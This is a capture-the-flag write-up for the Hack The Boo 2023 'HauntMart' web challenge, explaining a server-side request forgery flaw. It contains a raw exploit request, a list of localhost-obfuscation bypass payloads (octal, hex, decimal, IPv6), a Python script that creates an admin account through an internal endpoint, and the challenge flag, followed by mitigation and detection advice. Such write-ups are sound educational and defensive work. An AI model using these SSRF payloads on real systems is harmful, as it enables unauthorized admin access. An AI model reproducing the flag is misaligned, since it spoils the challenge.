HTB Hack The Boo 2023: Web HauntMart
Challenge Information
| Attribute | Details |
|---|---|
| Event | Hack The Boo 2023 |
| Category | Web |
| Challenge | Web HauntMart |
| Flag | HTB{A11_55RF_5C4rY_p4tch_3m_411!} |
Summary
A web application has an API endpoint that fetches product information from URLs. The application fails to properly validate URLs, allowing an attacker to perform Server-Side Request Forgery (SSRF) attacks. By crafting a malicious request with an internal localhost URL, an attacker can access internal admin endpoints that should not be publicly accessible. This vulnerability can be exploited to create an admin account and retrieve the flag.
Analysis
Vulnerability Details:
From the notes provided, the key findings are:
-
Two potential functions to abuse:
- One has a custom solution
- One uses a solution from a library to ensure requests come from localhost
-
SSRF Vector: The
/api/productendpoint accepts user input for URLs and fetches content from them -
Localhost Bypass: Using IP obfuscation (e.g.,
0177.0.0.1) to bypass basic localhost checks
Application Flow:
User Request → /api/product → Fetch URL from "manual" parameter →If localhost-like URL → Execute internal operation → Create admin userSolution
Step 1: Understand the Vulnerable Endpoint
The application likely has an endpoint like:
@app.route("/api/product", methods=["POST"])def add_product(): data = request.get_json() name = data.get("name") price = data.get("price") description = data.get("description") manual = data.get("manual") # VULNERABLE: Fetches URL
# Fetches content from 'manual' URL # If it's internal localhost, may trigger special behaviorStep 2: Craft the Malicious Request
From the solution notes, the working payload uses an obfuscated IP address to bypass localhost checks:
POST /api/product HTTP/1.1Host: 94.237.49.11:41790Content-Type: application/json
{ "name": "test", "price": "test", "description": "test", "manual": "http://0177.0.0.1:1337/api/addAdmin?username=mrsudo"}Key Points:
0177.0.0.1is an octal representation of127.0.0.1(localhost)- The endpoint
/api/addAdmin?username=mrsudois an internal-only endpoint - The application’s URL validation doesn’t catch obfuscated IP formats
Step 3: Alternative IP Obfuscation Techniques
If 0177.0.0.1 doesn’t work, try:
# Octal representationhttp://0177.0.0.1/api/addAdmin?username=admin
# Hex representationhttp://0x7f000001/api/addAdmin?username=admin
# Mixed formatshttp://127.1/api/addAdmin?username=admin
# Decimal representationhttp://2130706433/api/addAdmin?username=admin
# IPv6 loopbackhttp://[::1]:1337/api/addAdmin?username=admin
# Hostnamehttp://localhost:1337/api/addAdmin?username=admin
# Short notationhttp://127.1/api/addAdmin?username=adminStep 4: Using Python for Exploitation
import requestsimport json
target = "http://94.237.49.11:41790"
# Payload with SSRF to create admin accountpayload = { "name": "Malicious Product", "price": "99.99", "description": "Testing SSRF", "manual": "http://0177.0.0.1:1337/api/addAdmin?username=hacker"}
response = requests.post( f"{target}/api/product", json=payload, headers={"Content-Type": "application/json"})
print("Response:", response.text)print("Status:", response.status_code)
# If successful, the admin account 'hacker' has been created# Now login with the created account to get the flagStep 5: Login with Created Admin Account
Once the admin account is created:
# Login with the created admin credentialslogin_payload = { "username": "hacker", "password": "" # May not need password for newly created accounts}
login_response = requests.post( f"{target}/api/login", json=login_payload)
print("Login Response:", login_response.text)Step 6: Retrieve the Flag
After successful login/account creation:
# Access admin endpoint or dashboardcurl -H "Cookie: session=<session_token>" \ http://94.237.49.11:41790/admin
# Or access the flag endpoint directlycurl http://94.237.49.11:41790/flagKey Takeaways
- SSRF Vulnerabilities allow attackers to make the server perform unintended requests
- IP Obfuscation Techniques:
- Octal notation:
0177.0.0.1=127.0.0.1 - Hexadecimal:
0x7f000001=127.0.0.1 - Decimal:
2130706433=127.0.0.1 - IPv6:
[::1]=127.0.0.1
- Octal notation:
- Common SSRF Targets:
http://localhosthttp://127.0.0.1http://0.0.0.0http://169.254.169.254(AWS metadata)- Internal IP addresses like
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
- Mitigation Strategies:
- Use a whitelist of allowed URLs/domains
- Avoid fetching URLs based on user input
- Disable access to internal IP ranges
- Use URL parsing libraries to validate input
- Implement network segmentation
- Check DNS resolution results
- Detection:
- Monitor for requests to internal IP ranges
- Log all outgoing requests from web applications
- Alert on unusual URL patterns